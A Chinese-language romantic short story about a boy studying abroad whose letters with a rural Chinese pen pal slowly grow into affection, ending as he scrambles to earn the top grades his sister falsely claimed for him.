分配的笔友来自一个国内乡镇小学,据说校长之间是师徒关系,所以才有这次帮助和联合。
想来也是有关系,毕竟他呆的是国外顶尖的小学,一年学费几十万。
她寄来的第一封信,是一封英文的自我介绍,里面官方的说了一下自己的基本信息,以及年级排名。
信心十足的说,会教会他中文。
他笑了一声,将信塞回信封里,突然发现里面还有另外一张纸,想了想还是抽出来,是一张标准的田字格,似乎还是从某张纸上撕下来的,边角上很不平整。
将其展开,他看到里面的内容,微微挑眉。田字格的每一行开头,都写了笔画,最后还用英文写着:别看他们简单,组起来都是很复杂的汉字,你想学汉字必须从这些开始学,慢慢来,不急。
这个语气还真是和国内那帮老师一模一样,他眉头微挑,打了个哈欠,没打算回信,回了不是自找麻烦吗?
后来报应来了。
信是以学校的名义统一寄回国内的,需要由老师向各班志愿的同学收集。收到他这里的时候,差点没拿出来。好在包里放着那张田字格,拿出来胡乱画了几笔,装进学校发的信封,递给小老头。
小老头以为他画了一幅画送给对方,很高兴,拍了拍他的肩走了。
他松了口气,双手交叉抱着头,美美的想着,这么糊弄了,对方一定不会再回信了。
可是下一个月,他还是从小老头手里收到了信。
这封信比原先厚了些,他诧异的打开,发现除了写着内容的信纸之外,还有好几张田字格。
他不信邪,又糊弄了一次寄回去。
结果下一个月,仍旧有回信。
信件里说,田字格里的笔画虽然写出了框外,但是不难看出有很大的进步,让他继续努力。
他回想起自己如鬼画符一般的“作业”,勾唇笑了。
“有点意思。”
夕阳的黄昏落进教室,少年半弯着腰,一笔一划写的很认真,等到全部写完,他长舒一口气,慵懒的靠在椅背上,手转着笔。
他想,这样也算是结业了吧。
下一个月,那封信仍旧寄来了。
他气急败坏的拆开信封,心想着他花了好大功夫写的几张田字格,居然还征服不了她吗?该不会是个傻子吧。
展开信后,他发现,对方不但不是傻子,还把他当傻子了。
信里言辞犀利的指出这次的作业明显找人代笔了,这是一个很不好的行为。
他将信翻页,不禁笑了,对方明明和自己岁数一样,还挺好为人师的。
他起笔,再次回信。
就这么每个月一来一回的交流,竟然持续了大半年,久到无法忽略的存在。一次朋友偷瞄他的信件,问信里怎么没有出现他的名字,他想了想,新拿了一张信纸,认认真真的写了一封自我介绍。
阳光落在信纸上,在写下最后一个符号时,他手里的笔转了转,沾了半抹阳光的眉头蹙了起来。
万一,她生气了怎么办。
女生应该很容易生气吧,他姐就这样,小时候莫名其妙就能惹她生气,被打了一顿之后才知道是因为一些小事。
写满的信纸被揉成一团扔在地上,重新拿了一张纸,用英文做了简单的自我介绍。
也不算骗人吧,毕竟他确实有英文名。
他的视线瞥到那封信纸,想了想,用红笔将她信件里的语法问题标了出来。后又翻箱倒柜的一顿找,将之前收到的几封信也翻了出来,一一用红笔圈出语法问题,并在旁边写上正确的语法。
她很聪明,信件的格式和语法几乎没有问题,只有几个细小的错误,肯定是个很优秀的人。
长达小半年的时间,他们一直都在纠正对方文字的问题,当这些问题逐渐消失,他们的信里终于也开始有了别的内容。
他们会互相分享烦恼,也会分享国内外所见所闻或者是最新新闻。
他从信件的碎片里,一点一点拼凑出一个完整的姜早。
她喜欢跳舞,性格敏感又要强。成绩很好但总觉得不够好,会因为一道题错了难过很久,也会因为一件事没做好难过很久,难过的时候喜欢吃糖,最喜欢的糖是草莓味的。很有爱心,喜欢小动物,但是被抓了就会有一瞬间不喜欢,因为这样就要去打针了,她讨厌打针。
脱离学校后,他们仍然用家里的邮箱保持着联系。信件也从最开始的天真烂漫,变得多愁善感。
一次,打开回信。
她说自己最近参加了很多舞蹈比赛,但是摄影师拍的总是很丑,没有把她最好的一面拍出来。
他拿着那封信,一屁股坐到了沙发上,半条腿耷拉在沙发腿上,看了又看。半响,从口袋里掏出了电话。
“喂,姐。”
向晨曦在家里架着二郎腿,看了一眼来电:“哟,稀客啊,这次想要多少钱。”
“我不是来要钱的。”向北辰扶额道,“我想回国,你能不能帮我说服爸妈。”
向晨曦哦了两声,就在向北辰这件事要成了的时候,对方再次开口。
“不可能。”向晨曦大概是在吃什么东西,嘴巴嚼吧嚼吧的,带着几分慵懒,“现在回国,你就要参加国内高考了,就你这三瓜两枣的成绩,你以为打得过那帮天天在学校里背书背一整天的,到时候连大学都考不上,我们向家要被嘲笑成啥样,我可不能当你的说客,到时候连带着遭罪。”
“谁说我考试一定不行的...”话虽这么说,但是向北辰的语气却渐渐弱下来。当初他就是因为适应不了国内的教育,才被爸妈送出国外。
向晨曦那边声音静了一会儿,大概是换了一个更安静的地方。不过以她这人懒惰的性子,估计刚刚就是在沙发上看电视,现在电视放完了,回房间躺着了。
“怎么突然想回国了?”她问。
“我突然有了个
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梦想。”他认真道。
闻言,向晨曦那边爆发了长达三分钟的嘲笑。
“需要我提醒你吗?五岁你看到电视里的奥特曼打怪兽,嚷着梦想是变奥特曼。六岁吃了个别人推销给的糖,就想做糖果厂工人。七岁被我打了,梦想是当警察长大后抓我。八岁...”
向北辰脸色有些难看,默默将身板坐直了:“这次不一样。”
“你每次都说不一样,我听腻了。”向晨曦已经平静了情绪,也懒得再多说废话,“听着,姓向的,不管你又因为什么乱七八糟的有了新的梦想,你都得在那边把书念完,以我对公司那帮老头的理解,你要是没个名牌大学的offer,不知道要被他们说成什么样,爸到时候让你上位,也难以服众。”
向北辰从桌上拿了根香蕉:“谁说我要坐那个位置了,向家不是还有你吗?武则天还当过女帝呢。”
向晨曦盖上被子闭上眼:“不必了,我好吃懒做没那个福气。向家有我一个好吃懒做的就够了,如果不想爸妈气得吐血,你就好好读书继承家业吧。”
向北辰架着二郎腿,将香蕉塞进嘴巴里,边吃边道:“继承家产的人就适合那种好吃懒做的人,我可不稀罕。你们想让我留在国外读书,那我就一直留在国外不回来了,看你们怎么办。”
向晨曦坐起来,咬牙切齿道:“想拿着个威胁我?”
向北辰呵呵笑了两声,将香蕉皮扔进垃圾桶,转椅转了个方向然后道:“帮我劝劝爸妈,我想回国考大学。”
向晨曦扶额道:“你到底为什么一定读国内的大学。”
向北辰打了个哈欠:“因为梦...”
向晨曦冷脸道:“你的梦想一天一变,别跟我说是因为梦想。”
向北辰有些不自然道:“好吧,其实是因为诗和远方。”
电话嘟嘟嘟传来三声,他利落的将手机放到桌上,双手盘在脑袋上,笑着仰头望着天花板,此刻,明明头顶是灰蒙蒙的天花板,他却透过这个天花板,却看到了聚光灯下,他为舞台上的人拍照的模样。
她因为收到了满意的照片而欣喜若狂,他呢云淡风轻的说出自己就是她的笔友。
幻想的画面虽然模糊和朦胧,情绪却十分真实。
他当即拿出手机,订购了相机并且和学摄影的朋友联系。一切落实后,手机恰好弹出一条信息。
是向晨曦发来的,她说事情办妥了,不过谎称了他在国外全A分数,回去的时候需要带成绩单。
“向晨曦!!!”
他翻箱倒柜的找卷子,后来想起自己压根没有全A卷,只得过C,哪来的A!
他扶着额头冷静下来,想了想,或许可以找人伪造。
手机亮屏,他走上前去看,又是向晨曦发来的信息:爸妈说会和你的老师求证,祝你好运。
“向晨曦!!!!”
他从书包里抽出练习卷,这些卷子其实已经发了很久了,老师这些当做他们自己练习的作业。
开玩笑,自主练习的作业,那能叫作业吗?在他的概念里,自主练习的作业就是废纸一张。
他看着题目,嘴里不停默念:全A,全A,全A!